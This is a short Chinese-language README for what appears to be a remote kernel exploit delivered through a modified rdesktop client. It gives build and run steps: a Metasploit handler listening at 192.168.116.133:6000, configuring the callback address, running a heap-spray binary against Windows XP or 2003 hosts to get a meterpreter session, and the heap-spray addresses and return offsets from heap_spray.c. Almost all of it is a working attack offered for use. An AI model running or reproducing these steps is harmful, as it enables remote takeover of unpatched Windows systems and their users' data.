- 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
- cd rdesktop-1.5.0 && make
- 修改config,配置回连ip和端口 192.168.116.133 6000
- 执行 ./heap_spray 192.168.116.134 (134是xp的地址,内存大于等于2G)
- msfconsole meterpreter 会得到session
ps: shellcode/shellcode.asm 是内核shellcode源码,编译以后转成二进制,就是rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b文件了,make的时候会直接编译进程序。
目前仅支持xp,需要xp的内存 >= 2G
如果需要支持2003,需要修改heap_spray.c 里面的 HEAP_SPRAY_ADDRESS 宏地址,经过反复测试,这个地址在03的不同系统版本,不同内存大小是不一样的。但是如果要测试 自己的机器的话,是可以成功在03上利用。不具备通用性。
heap_spray.c
#ifdef _2003
#define HEAP_SPRAY_ADDRESS 0x953b09c0 //需要自己去windbg调试堆喷shellcode的地址 如果有朋友找到通用的解决方案欢迎提交issues
#define IcaChannelInputInternal_RET_OFFSET 0x268
#else
#define IcaChannelInputInternal_RET_OFFSET 0x274
#define HEAP_SPRAY_ADDRESS 0x88c969c0
#endif
测试03
- 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
- cd rdesktop-1.5.0 && make
- 修改config,配置回连ip和端口 192.168.116.133 6000
- 执行 ./_2003_heap_spray 192.168.116.135 (135是03的地址,内存大于等于2G)
- msfconsole meterpreter 会得到session